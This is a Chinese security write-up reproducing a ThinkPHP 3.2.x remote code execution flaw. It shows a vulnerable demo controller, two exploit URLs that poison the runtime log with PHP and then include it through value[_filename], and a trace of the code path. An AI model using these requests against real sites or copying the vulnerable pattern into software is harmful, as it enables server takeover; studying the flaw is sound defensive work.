ThinkPHP3.2.x RCE漏洞复现

admin 2021年10月29日01:42:07安全文章评论181 views1433字阅读4分46秒阅读模式

0x00 简介

ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

环境

windows 10phpstudy 5.6Thinkphp 3.2.3完整版

0x01 复现过程

demo:

demo代码说明:如果需要测试请把demo代码放入对应位置,代码位置:ApplicationHomeControllerIndexController.class.php,因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:ApplicationHomeViewIndex (View没有Index文件夹需要自己创建)

<?phpnamespace HomeController;use ThinkController;class IndexController extends Controller {    public function index($value=''){        $this->assign($value);        $this->display();    }}

0x02 利用步骤:

1. 创建log2. 包含log

创建log发送请求 注意,m=后面的code不要url编码,否则包含的时候会失败)

http://127.0.0.1/index.php?m=--><?=phpinfo();?>

ThinkPHP3.2.x RCE漏洞复现

包含log

http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_12.log
ThinkPHP3.2.x RCE漏洞复现

Debug开启和关闭的路径不同:

开启: ApplicationRuntimeLogsCommon<log>关闭: ApplicationRuntimeLogsHome<log>

0x03 漏洞点分析

1.assign函数返回模板变量

ThinkPHP3.2.x RCE漏洞复现

2.到display函数开始解析

ThinkPHP3.2.x RCE漏洞复现

3.到达View.Class.php发现把payload传入到Hook::Listen函数

ThinkPHP3.2.x RCE漏洞复现

4.进入循环在将payload传入self::exec函数

ThinkPHP3.2.x RCE漏洞复现

5.调用BehaviorParseTemplateBehavior类 (将log文件写入缓存php)

ThinkPHP3.2.x RCE漏洞复现

6.调用fetch函数

ThinkPHP3.2.x RCE漏洞复现

最后load函数加载

ThinkPHP3.2.x RCE漏洞复现

(不会描述,原文章描述的很好)

参考链接https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQhttps://blog文章标题:ThinkPHP3.2.x RCE漏洞复现本文作者:九世发布时间:2021-07-12, 17:32:20最后更新:2021-07-12, 17:46:23原始链接:http://422926799.github.io/posts/94587123.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的


本文始发于微信公众号(无害实验室sec):ThinkPHP3.2.x RCE漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月29日01:42:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ThinkPHP3.2.x RCE漏洞复现 http://cn-sec.com/archives/426413.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: